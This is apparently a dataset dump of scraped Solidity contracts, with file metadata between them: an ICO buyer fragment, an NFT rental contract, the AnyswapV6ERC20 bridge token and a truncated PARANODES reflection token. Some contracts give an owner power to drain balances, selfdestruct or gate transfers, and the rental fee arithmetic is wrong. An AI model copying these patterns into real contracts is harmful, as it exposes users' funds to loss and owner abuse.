if(this.balance > ETH_to_end)
{
msg.sender.transfer(bounty);
}
else {
time_bought = now + 1 days * 9;
if(this.balance > ETH_to_end) {
msg.sender.transfer(bounty);
}
}
}
//Check is msg_sender is contract dev
modifier onlyOwner() {
if (msg.sender != developer_address) {
throw;
}
_;
}
// Send fund when ico end
function withdrawEth() onlyOwner {
msg.sender.transfer(this.balance);
}
//Kill contract
function kill() onlyOwner {
selfdestruct(developer_address);
}
// A helper function for the default function, allowing contracts to interact.
function default_helper() payable {
// Check if ICO Started: 27.07.2017 12:00 GMT to get ETH //1501156800
if (now < 1500400350) throw;
else {
// Treat near-zero ETH transactions as check ins and withdrawal requests.
if (msg.value <= 1 finney) {
// Check in during the crowdsale.
if (bought_tokens) {
// Only allow checking in before the crowdsale has reached the cap.
if (token.totalEthers() >= token.CAP()) throw;
// Mark user as checked in, meaning they would have been able to enter alone.
checked_in[msg.sender] = true;
}
// Withdraw funds if the crowdsale hasn't begun yet or is already over.
else {
withdraw();
}
}
// Deposit the user's funds for use in purchasing tokens.
else {
// Disallow deposits if kill switch is active.
if (kill_switch) throw;
// Only allow deposits if the contract hasn't already purchased the tokens.
if (bought_tokens) throw;
// Update records of deposited ETH to include the received amount.
balances[msg.sender] += msg.value;
}
}
}
// Default function. Called when a user sends ETH to the contract.
function () payable {
// Delegate to the helper function.
default_helper();
}
}
| 194,182 | 10,605 |
5c2cc0c5e49a8258aa35cde4be99c8f51b53ebbc4511af36a56f5c688b996d50
| 14,906 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/f5/F5992fF76969d60cb53a954d69AAe7261228937b_Rental.sol
| 3,276 | 12,197 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
library TransferHelper {
function safeTransferETH(address to, uint256 value) internal {
(bool success,) = to.call{value: value}(new bytes(0));
require(success, "TransferHelper: ETH_TRANSFER_FAILED");
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
interface IERC721 is IERC165 {
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(address from,
address to,
uint256 tokenId,
bytes calldata data) external;
function safeTransferFrom(address from,
address to,
uint256 tokenId) external;
function transferFrom(address from,
address to,
uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function setApprovalForAll(address operator, bool _approved) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function isApprovedForAll(address owner, address operator) external view returns (bool);
function metadata(uint256 tokenId) external view returns (address creator);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface IERC4907 {
// Logged when the user of a NFT is changed or expires is changed
/// @notice Emitted when the `user` of an NFT or the `expires` of the `user` is changed
/// The zero address for user indicates that there is no user address
event UpdateUser(uint256 indexed tokenId, address indexed user, uint64 expires);
/// @notice set the user and expires of a NFT
/// @dev The zero address indicates there is no user
/// Throws if `tokenId` is not valid NFT
/// @param user The new user of the NFT
/// @param expires UNIX timestamp, The new user could use the NFT before expires
function setUser(uint256 tokenId, address user, uint64 expires) external;
/// @notice Get the user address of an NFT
/// @dev The zero address indicates that there is no user or the user is expired
/// @param tokenId The NFT to get the user address for
/// @return The user address for this NFT
function userOf(uint256 tokenId) external view returns(address);
/// @notice Get the user expires of an NFT
/// @dev The zero value indicates that there is no user
/// @param tokenId The NFT to get the user expires for
/// @return The user expires for this NFT
function userExpires(uint256 tokenId) external view returns(uint256);
}
contract Withdrawable is Ownable {
string internal constant REVERT_TRANSFER_FAILED = "Withdrawable: AVAX_TRANSFER_FAILED";
function withdrawToken(address _token, uint256 _amount) external onlyOwner {
address account = _msgSender();
if (_token == address(0)) {
(bool success,) = account.call{value: _amount}(new bytes(0));
require(success, REVERT_TRANSFER_FAILED);
} else {
IERC20(_token).transfer(account, _amount);
}
}
}
contract Rental is Withdrawable {
event SetListRental(uint256 orderId, address game, uint256 tokenId, address owner, uint256 ownerRewardRate, address paymentToken, uint256 price, uint256 period);
event Rent(address account, uint256 orderId);
event ResetPrice(uint256 orderId);
using SafeMath for uint256;
string private constant REVERT_NOT_A_OWNER_NFTS = "Rental: caller is not the owner of NFTs";
string private constant REVERT_NOT_A_MAKER = "Rental: caller is not a maker";
string private constant REVERT_ALREADY_RENTING = "Rental: already renting";
string private constant REVERT_APPROVE_NFTS = "Rental: owner is not approve this NFT";
string private constant REVERT_INVALID_PERIOD = "Rental: Invalid renting period";
string private constant REVERT_INVALID_RENTING_NFT = "Rental: NFT has been rented by other user!";
string private constant REVERT_INVALID_ADDRESS = "Rental: Can not be address 0";
string private constant REVERT_INVALID_RATE = "Rental: Invalid commission or reward rate";
string private constant REVERT_INSUFFICIENT_BALANCE = "Rental: Insufficient balance";
uint256 public constant MAX_PERCENT = 1000;
struct RentalInfo {
address nftAddress;
uint256 nftId;
address owner;
uint256 ownerRewardRate;
address renter;
address paymentToken;
uint256 price;
uint256 period;
uint64 endTime;
}
uint256 private commission;
address private taker;
mapping(uint256 => RentalInfo) private _rentalInfo;
constructor(uint256 _commission, address _taker) {
commission = _commission;
taker = _taker;
}
modifier onlyMaker(uint256 orderId) {
require(_msgSender() == _rentalInfo[orderId].owner, REVERT_NOT_A_MAKER);
_;
}
modifier isOwnerOf(address nftAddress, uint256 tokenId) {
require(_isOwnerOf(nftAddress, tokenId), REVERT_NOT_A_OWNER_NFTS);
_;
}
modifier isValidAddress(address addr) {
require(addr != address(0), REVERT_INVALID_ADDRESS);
_;
}
modifier isNotRenting(uint256 orderId) {
require(_rentalInfo[orderId].renter == address(0), REVERT_ALREADY_RENTING);
_;
}
modifier isValidRentingNFT(address nftAddress, uint256 tokenId) {
require(IERC4907(nftAddress).userExpires(tokenId) < block.timestamp, REVERT_INVALID_RENTING_NFT);
_;
}
modifier isValidPeriod(uint256 period) {
require(period > 0, REVERT_INVALID_PERIOD);
_;
}
modifier isValidRate(uint256 rate) {
require(rate >= 0 && rate < MAX_PERCENT, REVERT_INVALID_RATE);
_;
}
function _isOwnerOf(address nftAdress, uint256 tokenId) private view returns (bool) {
return (IERC721(nftAdress).ownerOf(tokenId) == _msgSender());
}
function getCommission() external view returns(uint256){
return commission;
}
function getTaker() external view returns(address) {
return taker;
}
function setCommission(uint256 _commission) external onlyOwner isValidRate(_commission) {
commission = _commission;
}
function setTaker(address _taker) external onlyOwner isValidAddress(_taker) {
taker = _taker;
}
function getRentalInfo(uint256 orderId) external view returns(RentalInfo memory) {
return _rentalInfo[orderId];
}
function rent(uint256 orderId) external payable isNotRenting(orderId) {
address account = _msgSender();
RentalInfo storage rental = _rentalInfo[orderId];
require(rental.period > 0, REVERT_INVALID_PERIOD);
uint256 commissionFee = rental.price.mul(commission).div(MAX_PERCENT);
uint256 netRevenue = rental.price.mul(MAX_PERCENT.sub(commissionFee)).div(MAX_PERCENT);
if (rental.paymentToken == address(0)) {
require(msg.value > rental.price, REVERT_INSUFFICIENT_BALANCE);
TransferHelper.safeTransferETH(rental.owner, netRevenue);
TransferHelper.safeTransferETH(taker, commissionFee);
} else {
require(IERC20(rental.paymentToken).transferFrom(account, rental.owner, netRevenue), REVERT_INSUFFICIENT_BALANCE);
require(IERC20(rental.paymentToken).transferFrom(account, taker, commissionFee), REVERT_INSUFFICIENT_BALANCE);
}
uint64 endTime = uint64(block.timestamp + rental.period);
rental.renter = account;
rental.endTime = endTime;
IERC4907(rental.nftAddress).setUser(rental.nftId, account, endTime);
emit Rent(account, orderId);
}
function _setListRental(uint256 orderId,
address nftAddress,
uint256 tokenId,
uint256 ownerRewardRate,
address paymentToken,
uint256 price,
uint256 period) private {
require(_rentalInfo[orderId].owner == address(0) || _rentalInfo[orderId].owner == _msgSender(), REVERT_NOT_A_OWNER_NFTS);
require(_rentalInfo[orderId].renter == address(0) , REVERT_ALREADY_RENTING);
_rentalInfo[orderId] = RentalInfo(nftAddress, tokenId, _msgSender(), ownerRewardRate, address(0), paymentToken, price, period, 0);
emit SetListRental(orderId, nftAddress, tokenId, _msgSender(), ownerRewardRate, paymentToken, price, period);
}
function listRental(uint256 orderId,
address nftAddress,
uint256 tokenId,
uint256 ownerRewardRate,
address paymentToken,
uint256 price,
uint256 period) external isOwnerOf(nftAddress, tokenId) isValidRentingNFT(nftAddress, tokenId) isValidRate(ownerRewardRate) isValidPeriod(period) {
require(IERC721(nftAddress).isApprovedForAll(_msgSender(), address(this)), REVERT_APPROVE_NFTS);
_setListRental(orderId, nftAddress, tokenId, ownerRewardRate, paymentToken, price, period);
}
function _resetRental(uint256 orderId) private {
RentalInfo storage rental = _rentalInfo[orderId];
rental.nftAddress = address(0);
rental.nftId = 0;
rental.paymentToken = address(0);
rental.price = 0;
emit ResetPrice(orderId);
}
function removeRental(uint256 orderId) external onlyMaker(orderId) isNotRenting(orderId) {
_resetRental(orderId);
}
}
| 123,071 | 10,606 |
8b81cbe19bd4d1ff1fe4ba49b106c57ddc0b4f2a37fc589c76ac4a5e8fbbbbac
| 14,877 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/08/084046448488aef488c4990631cd1cc3e7097da3_AnyswapV6ERC20.sol
| 3,294 | 12,942 |
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.2;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract AnyswapV6ERC20 is IERC20 {
using SafeERC20 for IERC20;
string public name;
string public symbol;
uint8 public immutable override decimals;
address public immutable underlying;
bool public constant underlyingIsMinted = false;
/// @dev Records amount of AnyswapV6ERC20 token owned by account.
mapping (address => uint256) public override balanceOf;
uint256 private _totalSupply;
// init flag for setting immediate vault, needed for CREATE2 support
bool private _init;
// flag to enable/disable swapout vs vault.burn so multiple events are triggered
bool private _vaultOnly;
// delay for timelock functions
uint public constant DELAY = 2 days;
// set of minters, can be this bridge or other bridges
mapping(address => bool) public isMinter;
address[] public minters;
// primary controller of the token contract
address public vault;
address public pendingMinter;
uint public delayMinter;
address public pendingVault;
uint public delayVault;
modifier onlyAuth() {
require(isMinter[msg.sender], "AnyswapV6ERC20: FORBIDDEN");
_;
}
modifier onlyVault() {
require(msg.sender == vault, "AnyswapV6ERC20: FORBIDDEN");
_;
}
function owner() external view returns (address) {
return vault;
}
function mpc() external view returns (address) {
return vault;
}
function setVaultOnly(bool enabled) external onlyVault {
_vaultOnly = enabled;
}
function initVault(address _vault) external onlyVault {
require(_init);
_init = false;
vault = _vault;
isMinter[_vault] = true;
minters.push(_vault);
}
function setVault(address _vault) external onlyVault {
require(_vault != address(0), "AnyswapV6ERC20: address(0)");
pendingVault = _vault;
delayVault = block.timestamp + DELAY;
}
function applyVault() external onlyVault {
require(pendingVault != address(0) && block.timestamp >= delayVault);
vault = pendingVault;
pendingVault = address(0);
delayVault = 0;
}
function setMinter(address _auth) external onlyVault {
require(_auth != address(0), "AnyswapV6ERC20: address(0)");
pendingMinter = _auth;
delayMinter = block.timestamp + DELAY;
}
function applyMinter() external onlyVault {
require(pendingMinter != address(0) && block.timestamp >= delayMinter);
isMinter[pendingMinter] = true;
minters.push(pendingMinter);
pendingMinter = address(0);
delayMinter = 0;
}
// No time delay revoke minter emergency function
function revokeMinter(address _auth) external onlyVault {
isMinter[_auth] = false;
}
function getAllMinters() external view returns (address[] memory) {
return minters;
}
function changeVault(address newVault) external onlyVault returns (bool) {
require(newVault != address(0), "AnyswapV6ERC20: address(0)");
emit LogChangeVault(vault, newVault, block.timestamp);
vault = newVault;
pendingVault = address(0);
delayVault = 0;
return true;
}
function mint(address to, uint256 amount) external onlyAuth returns (bool) {
_mint(to, amount);
return true;
}
function burn(address from, uint256 amount) external onlyAuth returns (bool) {
_burn(from, amount);
return true;
}
function Swapin(bytes32 txhash, address account, uint256 amount) external onlyAuth returns (bool) {
if (underlying != address(0) && IERC20(underlying).balanceOf(address(this)) >= amount) {
IERC20(underlying).safeTransfer(account, amount);
} else {
_mint(account, amount);
}
emit LogSwapin(txhash, account, amount);
return true;
}
function Swapout(uint256 amount, address bindaddr) external returns (bool) {
require(!_vaultOnly, "AnyswapV6ERC20: vaultOnly");
require(bindaddr != address(0), "AnyswapV6ERC20: address(0)");
if (underlying != address(0) && balanceOf[msg.sender] < amount) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
} else {
_burn(msg.sender, amount);
}
emit LogSwapout(msg.sender, bindaddr, amount);
return true;
}
mapping (address => mapping (address => uint256)) public override allowance;
event LogChangeVault(address indexed oldVault, address indexed newVault, uint indexed effectiveTime);
event LogSwapin(bytes32 indexed txhash, address indexed account, uint amount);
event LogSwapout(address indexed account, address indexed bindaddr, uint amount);
constructor(string memory _name, string memory _symbol, uint8 _decimals, address _underlying, address _vault) {
name = _name;
symbol = _symbol;
decimals = _decimals;
underlying = _underlying;
if (_underlying != address(0)) {
require(_decimals == IERC20(_underlying).decimals());
}
// Use init to allow for CREATE2 accross all chains
_init = true;
// Disable/Enable swapout for v1 tokens vs mint/burn for v3 tokens
_vaultOnly = false;
vault = _vault;
}
/// @dev Returns the total supply of AnyswapV6ERC20 token as the ETH held in this contract.
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function deposit() external returns (uint) {
uint _amount = IERC20(underlying).balanceOf(msg.sender);
IERC20(underlying).safeTransferFrom(msg.sender, address(this), _amount);
return _deposit(_amount, msg.sender);
}
function deposit(uint amount) external returns (uint) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
return _deposit(amount, msg.sender);
}
function deposit(uint amount, address to) external returns (uint) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
return _deposit(amount, to);
}
function depositVault(uint amount, address to) external onlyVault returns (uint) {
return _deposit(amount, to);
}
function _deposit(uint amount, address to) internal returns (uint) {
require(!underlyingIsMinted);
require(underlying != address(0) && underlying != address(this));
_mint(to, amount);
return amount;
}
function withdraw() external returns (uint) {
return _withdraw(msg.sender, balanceOf[msg.sender], msg.sender);
}
function withdraw(uint amount) external returns (uint) {
return _withdraw(msg.sender, amount, msg.sender);
}
function withdraw(uint amount, address to) external returns (uint) {
return _withdraw(msg.sender, amount, to);
}
function withdrawVault(address from, uint amount, address to) external onlyVault returns (uint) {
return _withdraw(from, amount, to);
}
function _withdraw(address from, uint amount, address to) internal returns (uint) {
require(!underlyingIsMinted);
require(underlying != address(0) && underlying != address(this));
_burn(from, amount);
IERC20(underlying).safeTransfer(to, amount);
return amount;
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
balanceOf[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
uint256 balance = balanceOf[account];
require(balance >= amount, "ERC20: burn amount exceeds balance");
balanceOf[account] = balance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV6ERC20 token.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
function approve(address spender, uint256 value) external override returns (bool) {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/// @dev Moves `value` AnyswapV6ERC20 token from caller's account to account (`to`).
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV6ERC20 token.
function transfer(address to, uint256 value) external override returns (bool) {
require(to != address(0) && to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "AnyswapV6ERC20: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
/// `value` is then deducted from caller account's allowance, unless set to `type(uint256).max`.
/// unless allowance is set to `type(uint256).max`
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - `from` account must have at least `value` balance of AnyswapV6ERC20 token.
function transferFrom(address from, address to, uint256 value) external override returns (bool) {
require(to != address(0) && to != address(this));
if (from != msg.sender) {
uint256 allowed = allowance[from][msg.sender];
if (allowed != type(uint256).max) {
require(allowed >= value, "AnyswapV6ERC20: request exceeds allowance");
uint256 reduced = allowed - value;
allowance[from][msg.sender] = reduced;
emit Approval(from, msg.sender, reduced);
}
}
uint256 balance = balanceOf[from];
require(balance >= value, "AnyswapV6ERC20: transfer amount exceeds balance");
balanceOf[from] = balance - value;
balanceOf[to] += value;
emit Transfer(from, to, value);
return true;
}
}
| 91,132 | 10,607 |
b0c1f5df1039e38bc4836f6527d0f53f2ac7f69a0f6fe3f5c332c379c461722b
| 29,452 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/57/573A8b4FAB1674c67A00D6aE409dFB7937341F05_PARANODES.sol
| 5,189 | 18,698 |
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract PARANODES is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public isAllowed;
address[] private _excluded;
uint8 private constant _decimals = 18;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 100000 ether;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private constant _name = 'PARANODES FANTOM';
string private constant _symbol = 'PARA';
uint256 private _taxFee = 700;
uint256 private _burnFee = 0;
uint public max_tx_size = 100000 ether;
bool public isPaused = false;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
isAllowed[_msgSender()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function toggleAllowed(address addr) external onlyOwner {
isAllowed[addr] = !isAllowed[addr];
}
function unpause() external returns (bool){
require(msg.sender == owner() || isAllowed[msg.sender], "Unauth unpause call");
isPaused = false;
return true;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x1108d81843B8d45ABa9C7926d8BcEE0683B020d8, 'We can not exclude router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!isPaused || isAllowed[sender],"Unauthorized sender,wait until unpaused");
if(sender != owner() && recipient != owner())
require(amount <= max_tx_size, "Transfer amount exceeds 1% of Total Supply.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
